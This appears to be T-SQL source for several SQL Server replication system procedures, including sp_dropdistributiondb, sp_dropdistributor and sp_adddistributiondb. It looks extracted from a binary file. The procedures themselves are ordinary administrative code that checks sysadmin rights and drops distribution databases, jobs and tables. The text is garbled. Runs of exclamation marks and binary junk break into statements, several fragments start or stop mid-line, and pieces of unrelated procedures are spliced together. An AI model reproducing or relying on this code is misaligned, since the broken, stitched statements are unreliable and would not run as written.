                    RAISERROR (14043, 16, -1, '@value', 'sp_changedistributiondb')
                    RETURN (1)
                END

            /*
            ** Set the HistoryRetention registry key value
            */
            SELECT @new_history_retention = CONVERT(int, @value)

            UPDATE msdb..MSdistributiondbs SET history_retention = @new_history_retention
                WHERE name = @database collate database_default
            IF @@error <> 0 
                BEGIN
                    RETURN (1)
                END

            /*
            ** Update History Cleanup agent 
            */
            select @agentname = name from msdb.dbo.sysjobs j, m!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(k,Jv}
--
-- Name:
--		sp_dropdistributiondb
--
-- Description:
--		Drop distribution database
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		@force is a brute force cleanup option intended only for use
--		in removing an orphaned or corrupted distribution database.
--		It can only be called after sp_dropdistributor 1, 1 has been
--		called to force removal of distributor pieces.
--

create procedure sys.sp_dropdistributiondb
(
	@database	sysname
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @retcode		int
    DECLARE @agentname		nvarchar(100)
    DECLARE @security_mode	int
    DECLARE @distbit		int
    DECLARE @distpublisher	sysname
    DECLARE @distdb			sysname
    DECLARE @file_name		sysname
    DECLARE @command		nvarchar(4000)
    DECLARE @force			bit

    -- Security Check: require sysadmin
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    SELECT	@distbit = 16,
    		@force   = 0

	-- Check to make sure this is a distributor
	IF NOT EXISTS
	(
		SELECT	*
		FROM	master.dbo.sysservers
		WHERE	UPPER(datasource collate database_default) = UPPER(@@SERVERNAME) collate database_default
		  AND	srvstatus & 8 <> 0
	)
	BEGIN
		RAISERROR (14114, 16, -1, @@SERVERNAME)
		RETURN(1)
	END

	-- Check if database is configured as a distributor database
	IF NOT EXISTS
	(
		SELECT	*
		FROM	msdb..MSdistributiondbs
		WHERE	name = @database collate database_default
	)
	BEGIN
		RAISERROR (14117, 16, -1, @database)
		RETURN(1)
	END

	-- Check if any DistPublishers are using this database
	IF EXISTS
	(
		SELECT	*
		FROM	msdb..MSdistpublishers
		WHERE	distribution_db = @database collate database_default
	)
	BEGIN
		RAISERROR (14120, 16, -1, @database)
		RETURN (1)
	END

	-- Verify db file is accessible.  If it isn't,
	-- use force drop logic to skip any steps that
	-- interface directly with the db
	IF (ISNULL(HAS_DBACCESS(@database),0) = 0)
	BEGIN
		SET @force = 1
		RAISERROR (21773, 10, -1, @database)
	END

	IF @force = 0
	BEGIN
		-- In yukon security model drop the 
		-- qreader_agent if it still exists. 
		SELECT @command = QUOTENAME(@database) + '.sys.sp_MSdrop_qreader_agent ' 

		EXEC @command
		IF @@ERROR != 0
			RETURN 1

		SELECT @command = NULL
		
		-- we wait for 3 seconds after the drop to 
		-- ensure all connections have been dropped
		WAITFOR DELAY '00:00:03'
	END

    -- Check if the DB is being currently used
    IF EXISTS
    (
    	SELECT	*
    	FROM	sys.sysprocesses
    	WHERE	dbid = DB_ID(@database)
    	  AND	spid > 50
    )
    BEGIN
        RAISERROR (21122, 16, 1, @database)
        RETURN (1)
    END

	-- Drop the history cleanup agent.
	SELECT	@agentname = name
	FROM	msdb.dbo.sysjobs j,
			msdb.dbo.sysjobsteps s
	WHERE	j.job_id = s.job_id
	  AND	j.category_id = 12
	  AND	s.database_name = @database collate database_default

	IF @agentname IS NOT NULL
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_repl_job @job_name = @agentname

		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
			RETURN(1)
		END
	END

	-- Drop the distribution cleanup agent.
	SELECT	@agentname = name
	FROM	msdb.dbo.sysjobs j,
			msdb.dbo.sysjobsteps s
	WHERE	j.job_id = s.job_id
	  AND	j.category_id = 11
	  AND	s.database_name = @database collate database_default

	IF @agentname IS NOT NULL
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_repl_job @job_name = @agentname

		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
			RETURN(1)
		END
	END

    -- Drop the job for replication monitoring refresh
    select @agentname = formatmessage (20811, @database)
    if exists (select j.name
                from msdb.dbo.sysjobs j join msdb.dbo.sysjobsteps s
                on j.job_id = s.job_id
                and j.name = @agentname
                and j.category_id = 18
                and s.database_name = @database collate database_default)
    begin
        exec @retcode = sys.sp_MSdrop_repl_job @job_name = @agentname
        if @@error <> 0 or @retcode <> 0
        begin
            return (1)
        end
    end

    -- Consider: Lock database using EXEC %%CurrentDatabase().Lock()??

    -- Drop the distributor db if it exists
    IF EXISTS
    (
    	SELECT	*
    	FROM	master.dbo.sysdatabases
    	WHERE	name = @database collate database_default
    )
    BEGIN
		-- Update sysdatabase category bit before dropping the database
		-- Otherwise, the database can not be dropped.
    	EXEC %%DatabaseEx(Name = @database).SetDistributor(Value = 0)

        CREATE TABLE #db_existed (db_existed bit NOT NULL)

		IF @force = 0
		BEGIN
			/* Get version stamp */
			SELECT	@command =	'INSERT INTO #db_existed SELECT db_existed FROM ' +
								QUOTENAME(@database) + '..MSrepl_version'

			EXEC(@command)

			IF @@ERROR <> 0
			BEGIN
				RETURN(1)       
			END
		END

        -- Drop the distribution db only if it is created in sp_adddistributiondb.
        IF (@force = 1) OR NOT EXISTS
        (
        	SELECT	*
        	FROM	#db_existed
        	WHERE	db_existed = 0x1
        )
        BEGIN
			IF @force = 0
			BEGIN
				-- we're dropping the database, so don't bother to clean up
				-- individual records.  Just make sure we blow away the synchronization
				-- files & directories hosted by the file system.

				SELECT @command = QUOTENAME(@database) + '.dbo.sp_MSdrop_snapshot_dirs'
				SELECT @command = 'EXEC ' + @command
				EXEC (@command)
				IF (@@ERROR <> 0)
				BEGIN
					RETURN (1)
				END

				-- Save the device info before dropping the database
				CREATE TABLE #distdbdevices
				(
					name sysname collate database_default not null,
					filename nvarchar(4000) collate database_default not null
				)

				-- Drop distributor devices
				-- Query is copied from sp_helpdb
				SELECT	@command = 'INSERT INTO #distdbdevices select DISTINCT name, filename from ' + 
									QUOTENAME(@database) + '.dbo.sysfiles'

				EXEC (@command)
				IF @@ERROR <>0
				BEGIN
					RETURN(1)      
				END
			END

            -- Drop the distribution database
            SELECT @command = 'drop database ' + QUOTENAME(@database)
            EXEC (@command)

            IF @@ERROR <> 0
			BEGIN
				-- Mark the database as distribution database again 
				-- Otherwise, this sp will fail when it is reentered.
				-- It is often the case that if there's an open session
				-- on the database, it can not be dropped.
		    	EXEC %%DatabaseEx(Name = @database).SetDistributor(Value = 1)
				RETURN(1)
			END

			IF @force = 0
			BEGIN
				-- Drop distributor devices
				-- Query is copied from sp_helpdb
				-- SQL SERVER 7.0 may drop some auto generated device files, drop them here again
				DECLARE hCdropdistributiondb CURSOR LOCAL FAST_FORWARD FOR
				SELECT	DISTINCT dd.name
				FROM	#distdbdevices dd,
						master.dbo.sysaltfiles sf
				WHERE	sf.name = dd.name collate database_default
				  AND	sf.filename = dd.filename collate database_default
				FOR READ ONLY

				OPEN	hCdropdistributiondb
				FETCH	hCdropdistributiondb INTO @file_name

				WHILE (@@fetch_status <> -1)
				BEGIN
					-- Device may be used by other databases.  Ignore all errors.
					-- Note here that we are assuming sp_dropdevice can 
					-- handle logical file names. 
					EXEC sys.sp_dropdevice @file_name, DELFILE
					FETCH hCdropdistributiondb INTO @file_name
				END

				CLOSE hCdropdistributiondb
				DEALLOCATE hCdropdistributiondb
			END
        END
        -- else, database did exist before it was made the distributor, 
        -- do full cleanup
        ELSE
        BEGIN
            -- run 'fast clean' routine first. this removes repldata files
            -- and truncates MSrepl_transactions/commands

            SELECT @command = QUOTENAME(!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,v{6create procedure sys.sp_dropdistributor
(
	@no_checks			bit = 0,
	@ignore_distributor	bit = 0
)
AS
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode int
    DECLARE @distributor sysname
    DECLARE @agentname nvarchar(100)
    DECLARE @distbit int
    DECLARE @distribdb sysname
    DECLARE @foundSubscriber int
    DECLARE @proc nvarchar(255) 
    declare @optname sysname
    declare @name sysname
    DECLARE @transpublishdb_bit int
    DECLARE @mergepublishdb_bit int
    declare @job_name nvarchar(100)
    declare @alert_name nvarchar(100)

    declare @dist_rpcname sysname

    declare @alert_id   int
 
   
	/*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    SELECT @transpublishdb_bit = 1
    SELECT @mergepublishdb_bit = 4
    SELECT @foundSubscriber = 0
    SELECT @distbit = 16

    -- Get distributor name
    select @distributor = datasource, @dist_rpcname = srvname from master.dbo.sysservers 
        WHERE srvstatus & 8 <> 0
    if @distributor is null
    BEGIN
        RAISERROR (21043, 16, -1)
        RETURN(1)
    END

    if @no_checks = 1
    begin
        -- We are in bruteforce cleanup mode, drop everything.
        DECLARE hCdropdistributor CURSOR LOCAL FAST_FORWARD FOR
                SELECT name, N'publish' FROM master.dbo.sysdatabases      
                    WHERE (category & @transpublishdb_bit) <> 0 
                UNION
                select name, N'merge publish' from master.dbo.sysdatabases
                    WHERE (category & @mergepublishdb_bit) <> 0
                FOR READ ONLY

        OPEN hCdropdistributor
        FETCH hCdropdistributor INTO @name, @optname
    
        WHILE (@@fetch_status <> -1)
        BEGIN
                        
            EXECUTE @retcode  = sys.sp_replicationdboption	@dbname				= @name,
															@optname			= @optname,
															@value				= 'false',
															@ignore_distributor	= @ignore_distributor
            
            IF @@ERROR <> 0 OR @retcode <> 0
            BEGIN
                CLOSE hCdropdistributor
                DEALLOCATE hCdropdistributor
                RETURN (1)
            END
            FETCH hCdropdistributor INTO @name, @optname
        end

        CLOSE hCdropdistributor
        DEALLOCATE hCdropdistributor
    
        -- Drop subscribers of local SQL Server publisher
        EXECUTE @retcode  = sys.sp_dropsubscriber	@subscriber			= 'all',
													@ignore_distributor	= @ignore_distributor

        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)

        -- Drop subscribers and associated subscriptions of heterogeneous publishers using this server
        -- as their distributor
        IF UPPER(@distributor) = UPPER(@@SERVERNAME) 
        begin
        
            if exists (select * from msdb.sys.objects where name = 'MSdistpublishers'
                and type = 'U')
            begin
                -- Clean up heterogeneous subscribers
                DECLARE hCdrophsubscriber CURSOR LOCAL FAST_FORWARD FOR
                        SELECT name FROM msdb..MSdistpublishers
                        WHERE publisher_type <> 'MSSQLSERVER'
                FOR READ ONLY

                OPEN hCdrophsubscriber
                FETCH hCdrophsubscriber INTO @name

                WHILE (@@fetch_status <> -1)
                BEGIN
                    exec @retcode = sys.sp_dropsubscriber	@subscriber			= 'all',
    														@ignore_distributor	= @ignore_distributor,
    														@publisher			= @name,
    														@reserved			= 'drop_subscriptions'
                
                    IF @@ERROR <> 0 OR @retcode <> 0
                    BEGIN
                        CLOSE hCdrophsubscriber
                        DEALLOCATE hCdrophsubscriber
                        RETURN (1)
                    END
                    FETCH hCdrophsubscriber INTO @name
                end

                CLOSE hCdrophsubscriber
                DEALLOCATE hCdrophsubscriber
            end            
        end    

        IF UPPER(@distributor) = UPPER(@@SERVERNAME) 
        begin

            if exists (select * from msdb.sys.objects where name = 'MSdistpublishers'
                and type = 'U')
            begin
                -- Clean up dist publishers
                DECLARE hCdropdistributor CURSOR LOCAL FAST_FORWARD FOR
                        SELECT name FROM msdb..MSdistpublishers
                FOR READ ONLY

                OPEN hCdropdistributor
                FETCH hCdropdistributor INTO @name 

                WHILE (@@fetch_status <> -1)
                BEGIN
                	exec @retcode = sys.sp_dropdistpublisher @publisher = @name,
							    								@no_checks = @no_checks,
							    								@ignore_distributor = @ignore_distributor  
					
                    IF @@ERROR <> 0 OR @retcode <> 0
                    BEGIN
                        CLOSE hCdropdistributor
                        DEALLOCATE hCdropdistributor
                        RETURN (1)
                    END
                    FETCH hCdropdistributor INTO @name 
                end

                CLOSE hCdropdistributor
                DEALLOCATE hCdropdistributor
            end

            if (@ignore_distributor = 0
            		or @no_checks = 1)
            	and exists (select * from msdb.sys.objects where name = 'MSdistributiondbs' and type = 'U') 
            	and exists (select * from msdb.sys.objects where name = 'MSdistpublishers' and type = 'U') 
            begin

                -- Clean up distribution dbs
                DECLARE hCdropdistributor CURSOR LOCAL FAST_FORWARD FOR
                        SELECT name FROM msdb..MSdistributiondbs
                FOR READ ONLY

                OPEN hCdropdistributor
                FETCH hCdropdistributor INTO @name

                WHILE (@@fetch_status <> -1)
                BEGIN
                    exec @retcode = sys.sp_dropdistributiondb @database = @name

                    IF @@ERROR <> 0 OR @retcode <> 0
                    BEGIN
                        CLOSE hCdropdistributor
                        DEALLOCATE hCdropdistributor
                        RETURN (1)
                    END
                    FETCH hCdropdistributor INTO @name
                end

                CLOSE hCdropdistributor
                DEALLOCATE hCdropdistributor
            end
        end
    end
    
    -- If everything should be cleaned up when we reach here with @no_checks = 1
    /*
    ** If local distributor, check if there are any distributor databases
    */
	
    IF UPPER(@distributor) = UPPER(@@SERVERNAME) 
    BEGIN
        if exists (select * from msdb.sys.objects where name = 'MSdistributiondbs'
            and type = 'U')
        begin
            IF EXISTS (SELECT * FROM msdb..MSdistributiondbs)
            BEGIN
                RAISERROR (14121, 16, -1, @distributor)
                RETURN(1)
            END
        end
    END
    ELSE
    begin
        -- Check to see if there are database published.
        if exists (SELECT * FROM master.dbo.sysdatabases      
            WHERE (category & @transpublishdb_bit) <> 0 or 
            (category & @mergepublishdb_bit) <> 0)
        begin
            raiserror(21045, 16, -1)
            return(1)
        end

    end

    /*
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 0 
    begin
        /*
        ** Get distribution server information
        */
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @@SERVERNAME,
            @distribdb = @distribdb OUTPUT
        IF @@error <> 0 OR @retcode <> 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<9:u{6        BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END

        IF @distribdb is NOT NULL
        BEGIN
            /* 
            ** Deactivate the dist publisher at the  distributor 
            ** Only do this if @distribdb is NOT NULL, which means the dist publisher
            ** if defined.
            */
            SELECT @proc = RTRIM(@dist_rpcname) + '.master.sys.sp_changedistpublisher'
                EXECUTE @retcode = @proc @@SERVERNAME, 'active','false'
            IF @@error <> 0 OR @retcode <> 0
            BEGIN
                RETURN (1)
            END
        END
    end


    /*
    ** Clear the server option to indicate that this is a distributor.
    */
    EXECUTE @retcode = sys.sp_serveroption @dist_rpcname, 'dist', false
    IF @@error <> 0 OR @retcode <> 0
        BEGIN
            RETURN(1)
        END

    -- Prevent dropping local server entry accidentally if user 
    -- set 'dist' server option on local server.
    if UPPER(@dist_rpcname) <> UPPER(@@servername)
    begin
    	-- get the servername that was persisted in the sysservers table
    	SELECT @dist_rpcname = sys.fn_getpersistedservernamecasevariation(@dist_rpcname) collate database_default
    
        exec @retcode = sys.sp_dropserver @dist_rpcname, 'droplogins'
        IF @@error <> 0 OR @retcode <> 0
        BEGIN
            RETURN(1)
        END
    end


    -- Drop table after unmark distributor to prevent 
    -- sp_helpdist* failures.

    /* If local, Drop replication category and alerts */
    IF UPPER(@distributor) = UPPER(@@SERVERNAME)
    BEGIN

    -- Attempts to drop distributor_login, no big deal if it's still in use and we can't drop, don't quit here.

        declare @distributor_login sysname
        select @distributor_login = 'distributor_admin'

        if exists (select * from master.dbo.syslogins where loginname = @distributor_login collate database_default)
        begin
            EXEC @retcode = sys.sp_droplogin @loginame = @distributor_login
	 end

        -- Drop Distributor Alerts and Jobs
        exec @retcode = sys.sp_MSdrop_distributor_alerts_and_responses
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)            
        END

        -- Drop the two system tables.
        if exists (select * from msdb.sys.objects where name = 'MSdistpublishers'
            and type = 'U')
            drop table msdb..MSdistpublishers
    
        if @@error <> 0 
            return 1 ;

        if exists (select * from msdb.sys.objects where name = 'MSdistributiondbs'
            and type = 'U')
            drop table msdb..MSdistributiondbs

        if @@error <> 0
            return 1 ;

        if exists (select * from msdb.sys.objects where name = 'MSdistributor'
                and type = 'U')
            drop table msdb..MSdistributor

        if @@error <> 0
            return 1 ;

        if exists (select * from msdb.sys.objects where name = 'sysreplicationalerts'
                and type = 'U')
            drop table msdb.dbo.sysreplicationalerts

        if @@error <> 0
            return 1 ;


        if exists (select * from msdb.sys.objects where name = 'MSagent_profiles'
            and type = 'U')
            drop table msdb..MSagent_profiles

        if @@error <> 0
            return 1 ;


       if exists (select * from msdb.sys.objects where name = 'MSagent_parameters'
                and type = 'U')
            drop table msdb..MSagent_parameters

        if @@error <> 0
            return 1 ;

    END
	EXEC @retcode = sys.sp_MSrepl_drop_expired_sub_cleanup_job

    -- Nnregister sp_MSrepl_startup as a startup stored procedure
    exec @retcode = master.sys.sp_procoption 'sp_MSrepl_startup', 'startup', 'false' 
    if @@error <> 0 or @retcode <> 0
        return 1

    RETURN (0)        
o
orsoropened = 0

		deallocate hCarticle

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT	@retcode = 1
			GOTO Failure
		END

		select @cursorallocated = 0
	END

    -- 4)
    -- Flush the article cache
    exec @retcode = sys.sp_replflush

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END

    if @activate_articles_only <> 1
    begin
        -- 5)
        -- Set the allow_initialize_from_backup bit of the publication to 1
        update dbo.syspublications
           set allow_initialize_from_backup = 1
         where pubid = @pubid    

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT	@retcode = 1
			GOTO Failure
		END


        -- 5.1)
        -- Set the allow_initialize_from_backup bit of the publication on the distributor to 1
        SELECT @publisher = publishingservername()
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher  = @publisher,
															@rpcsrvname = @distributor OUTPUT,
                                                            @distribdb = @distribdb OUTPUT,
                                                            @version = @distver OUTPUT
        
        IF @@ERROR <> 0 or @retcode <> 0
            GOTO Failure

        if (@distver > 0x090007FF)
        BEGIN
            SELECT @dbname = DB_NAME()
            SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.'
                        + QUOTENAME(@distribdb) + '.dbo.sp_MSchange_publication'
   
            EXECUTE @retcode = @distproc
                @publisher = @publisher,
                @publisher_db = @dbname,
                @publication = @publication,
                @property = N'allow_initialize_from_backup',
                @value = '1'
        END

        -- Don't fail on exit as it's possible that this table doesn't exist if we have
        --  a downlevel distributor

        -- 6)
        -- Increment the publication's min autonosync lsn
        exec @retcode = sys.sp_MSincrementpublicationminautonosynclsn
            @publication = @publication

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT	@retcode = 1
			GOTO Failure
		END
    END

    COMMIT TRANSACTION

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END

    select @transactionopened = 0

Failure:
    if @cursoropened = 1    
    begin
        close hCarticle
    end

    if @cursorallocated = 1
    begin
        deallocate hCarticle
    end

    if @transactionopened = 1
    begin
        rollback transaction sp_MSenableautonosync     
        commit transaction
    end

    return @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,v4
--
-- Name: sp_adddistributiondb
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Public (sysadmin check)
--
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_adddistributiondb 
(
    @database sysname,
    @data_folder nvarchar(255) = NULL,
    @data_file nvarchar(255) = NULL,       -- physical file name
    @data_file_size int = 5,                     -- Default: 5MB          
    @log_folder nvarchar(255) = NULL,
    @log_file nvarchar(255) = NULL,         -- physical file name
    @log_file_size int = 0,
    @min_distretention int = 0,               -- min distribution retention period in hours
    @max_distretention int = 72,             -- max distribution retention period in hours
    @history_retention int = 48,              -- history retention period in hours
    @security_mode int = 1,                   -- distributor login security 0 standard 1 integrated
    @login sysname = NULL,                   -- standard login name
    @password sysname = NULL,             -- standard login password
    @createmode int = 1,  /* 0: use create db for attach (no longer used), 
                            1: create db or use existing but no attach (recommended), 
                            2: create for instdist and detach only */
    @from_scripting bit = 0
) 
AS
BEGIN
    SET NOCOUNT ON
    -- Declarations.
    DECLARE @data_path nvarchar(512)
                ,@log_path nvarchar(512)
                ,@data_path_quoted_for_copy nvarchar(600)
                ,@log_path_quoted_for_copy nvarchar(600)
                ,@logical_data_file nvarchar(255)
                ,@logical_log_file nvarchar(255)
                ,@canneddbdata_file nvarchar(255)
                ,@canneddblog_file nvarchar(255)
                ,@filecopy_cmd nvarchar(4000)
                ,@file_exists bit
                ,@data_file_preexists int
                ,@log_file_preexists int
                ,@devnum int
                ,@retcode int
                ,@retcode2 int
                ,@agentname nvarchar(100)
                ,@command nvarchar (4000)
                ,@distbit int
                ,@install_path nvarchar(255)
                ,@mssql_data_path nvarchar(255)
                ,@on_clause nvarchar(1700)
                ,@logon_clause nvarchar(1700)
                ,@distproc nvarchar(512)
                ,@major_version int
                ,@db_exists bit
                ,@trunc_log_bit int
                ,@description nvarchar(100)
                ,@category_name sysname
                ,@createmode_attach int
                ,@createmode_noattach int
                ,@createmode_fordetach int
                ,@data_file_size_str nvarchar(20)
                ,@log_file_size_str nvarchar(20)
                ,@platform_nt binary
                ,@distributor_login sysname
                ,@model_data_size int
                ,@model_log_size int
                ,@containment tinyint

    -- Security Check: require sysadmin
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    -- Check to ensure a login is provided if security mode is SQL Server authentication.
    select @login = rtrim(ltrim(isnull(@login, '')))
    if @security_mode = 0 and @login = ''
    begin
        -- '@login cannot be null or empty when @security_mode is set to 0 (SQL Server authentication).'
        raiserror(21694, 16, -1, '@login', '@security_mode')
        return 1
    end
    
	select @model_data_size = sum (size)*8/1024 from sys.master_files where database_id = db_id('model') and type_desc = 'ROWS'
	select @model_log_size = sum (size)*8/1024 from sys.master_files where database_id = db_id('model') and type_desc = 'LOG'


    select @password = case when (@password = N'') then NULL else @password end
            ,@data_folder = case when (@data_folder = N'') then NULL else @data_folder end
            ,@log_folder = case when (@log_folder = N'') then NULL else @log_folder end
            ,@platform_nt = 0x1
            -- on error, delete the data and log files only if they didn't pre-exist.
            -- by default, assume they pre-exist.
            ,@data_file_preexists = 1
            ,@log_file_preexists = 1
            ,@file_exists = 0
            ,@data_file_size_str = case when (isnull(@data_file_size, 4) < 5 ) and (@model_data_size < 5) then N'5 MB' 
                                            			when (@model_data_size < isnull(@data_file_size, 5)) then cast(@data_file_size as nvarchar(10)) + N' MB'
                                            			else cast(@model_data_size + 5 as nvarchar(10)) + N' MB'
                                             end
            ,@log_file_size_str = case when (isnull(@log_file_size, 0) < 1) and (@model_log_size < 1) then N'1 MB'
                                            			when (@model_log_size < isnull(@log_file_size, 1)) then cast(@log_file_size as nvarchar(10)) + N' MB'
                                            			else cast(@model_log_size + 1 as nvarchar(10)) + N' MB'
													end
    if @createmode not in (0, 1, 2)
    begin
        select @description = cast(@createmode as nvarchar)

        -- '@description' is not a valid value for the '@createmode' parameter. The value must be 0, 1, or 2.
        RAISERROR (21117, 16, -1, @description, '@createmode')
        return 1
    end

	-- option 0 to use distmdl.mdf/ldf is no longer in use
	if (@createmode = 0) 
		select @createmode = 1

    select @createmode_attach = 0
            ,@createmode_noattach = 1
            ,@createmode_fordetach = 2
            ,@trunc_log_bit = 8
            ,@distbit = 16

    if (@createmode <> @createmode_fordetach)
    begin
        -- Check if replication components are installed on this server
        exec @retcode = sys.sp_MS_replication_installed
        if (@retcode <> 1)
        begin
            return (1)
        end
        -- Check for invalid security modes
        IF @security_mode < 0 OR @security_mode > 1
        BEGIN
            RAISERROR(14109, 16, -1)
            RETURN (1)
        END
        IF ( ( @platform_nt != platform() & @platform_nt ) and @security_mode = 1)
        BEGIN
            RAISERROR(21038, 16, -1)
            RETURN (1)
        END
        -- Check for invalid retention values 
        IF @min_distretention < 0 OR @max_distretention < 0 OR @history_retention < 0
        BEGIN
            RAISERROR(14106, 16, -1)
            RETURN (1)
        END
        IF @min_distretention > @max_distretention
        BEGIN
            RAISERROR(14107, 16, -1) 
            RETURN (1)
        END
        -- Check to make sure this is a distributor
        IF NOT EXISTS (SELECT * FROM master.dbo.sysservers
              WHERE UPPER(datasource collate database_default) = UPPER(@@SERVERNAME) collate database_default
                 AND srvstatus & 8 <> 0)
        BEGIN
            RAISERROR (14114, 16, -1, @@SERVERNAME)
            RETURN(1)
        END
        -- Check if database is already configured as a distributor database
        IF EXISTS (SELECT * FROM msdb..MSdistributiondbs WHERE name = @database collate database_default)
        BEGIN
            RAISERROR (14119, 16, -1, @database)
            RETURN(1)
        END    
    end

    --
    -- check folder information
    --
    if (@data_folder is null or @log_folder is null)
    begin
        -- 
        -- Get path to version specific INSTALL directory
        --
        exec @retcode = sys.sp_MSget_setup_paths
            @sql_path = @install_path output,
            @data_path = @mssql_data_path output
        IF @retcode <> 0 or @install_path is NULL or @install_path='' or @mssql_data_path = ''
        BEGIN
            GOTO U!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,+Tv4
NDO       
        END
        IF @data_folder IS NULL
            select @data_folder = @mssql_data_path + N'\DATA'
        IF @log_folder IS NULL
            select @log_folder = @mssql_data_path + N'\DATA'
    end

    IF @data_file IS NULL
        SELECT @data_file = sys.fn_replaceinvalidfilenamesymbols(@database) collate database_default + N'.MDF'
    IF @log_file IS NULL
        SELECT @log_file = sys.fn_replaceinvalidfilenamesymbols(@database) collate database_default + N'.LDF'

    -- the file names can not be longer than 255 characters total
    IF len(@data_file) > 255
    begin
        raiserror(21746, 16, -1, N'@data_file', 255)
        return 1
    end
    IF len(@log_file) > 255
    begin
        raiserror(21746, 16, -1, N'@log_file', 255)
        return 1
    end

    if substring(@data_folder, len(@data_folder), 1) = N'\'
    select @data_folder = substring (@data_folder, 1, len(@data_folder) -1)
    if substring(@log_folder, len(@log_folder), 1) = N'\'
    select @log_folder = substring (@log_folder, 1, len(@log_folder) -1)

    -- data and log folder must exist to continue
    if @data_folder is not NULL
    begin
        exec sys.sp_MSget_file_existence @data_folder, @file_exists OUTPUT
        if @file_exists = 0
        begin
            raiserror(14430, 16, -1, @data_folder)
            return 1
        end
    end
    if @log_folder is not NULL
    begin
        exec sys.sp_MSget_file_existence @log_folder, @file_exists OUTPUT
        if @file_exists = 0
        begin
            raiserror(14430, 16, -1, @log_folder)
            return 1
        end
    end

    SELECT @data_path = @data_folder + N'\' + @data_file
                ,@log_path = @log_folder + N'\' + @log_file
                ,@data_path_quoted_for_copy = N'"' + sys.fn_escapecmdshellsymbolsremovequotes(@data_folder) collate database_default + N'\' + sys.fn_escapecmdshellsymbolsremovequotes(@data_file) collate database_default + N'"'
                ,@log_path_quoted_for_copy = N'"' + sys.fn_escapecmdshellsymbolsremovequotes(@log_folder) collate database_default + N'\' + sys.fn_escapecmdshellsymbolsremovequotes(@log_file) collate database_default + N'"'
                ,@logical_data_file = @database
                -- Truncate the logical log file name back to 128 characters
                -- long so the 'CREATE DATABASE' statement won't complain.
                ,@logical_log_file = case when (LEN(@database) > 124)
                                            then SUBSTRING(@database, 1, 124) + N'_log'
                                            else @database + N'_log' end
	
	/*
    if (@createmode = @createmode_attach)
    begin
        select @canneddbdata_file = @mssql_data_path + N'\DATA\DISTMDL.MDF'
                ,@canneddblog_file = @mssql_data_path + N'\DATA\DISTMDL.LDF'

        exec sys.sp_MSget_file_existence @canneddbdata_file, @file_exists OUTPUT
        if (@file_exists = 0)
        begin
            -- Fallback to mode where instdist.sql needs to be run
            select @createmode = @createmode_noattach
        end
        else
        begin
            exec sys.sp_MSget_file_existence @canneddblog_file, @file_exists OUTPUT
            if (@file_exists = 0)
            begin
                -- Fallback to mode where instdist.sql needs to be run
                select @createmode = @createmode_noattach
            end
        end
    end
    */
    --
    -- Create the distributor database if it does not exist
    --
    IF NOT EXISTS (SELECT * from master.dbo.sysdatabases WHERE name = @database collate database_default) 
    BEGIN
		/*
        IF (@createmode = @createmode_attach)
        BEGIN
            -- DO THE CREATE DATABASE FOR ATTACH STUFF
            exec sys.sp_MSget_file_existence @data_path, @data_file_preexists OUTPUT
            if (@data_file_preexists = 1)
            begin
                raiserror(5170, 16, -1, @data_path)
                return 1
            end
            
            exec sys.sp_MSget_file_existence @log_path, @log_file_preexists OUTPUT
            if (@log_file_preexists = 1)
            begin
                raiserror(5170, 16, -1, @log_path)
                return 1
            end

            select @filecopy_cmd = N'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@canneddbdata_file) collate database_default + N'" ' + @data_path_quoted_for_copy
            EXEC @retcode = master.dbo.xp_cmdshell @filecopy_cmd, NO_OUTPUT
            IF @retcode <> 0 OR @@ERROR <> 0
            BEGIN
                RAISERROR (25017, 16, -1, @filecopy_cmd)
                return (1)
            END

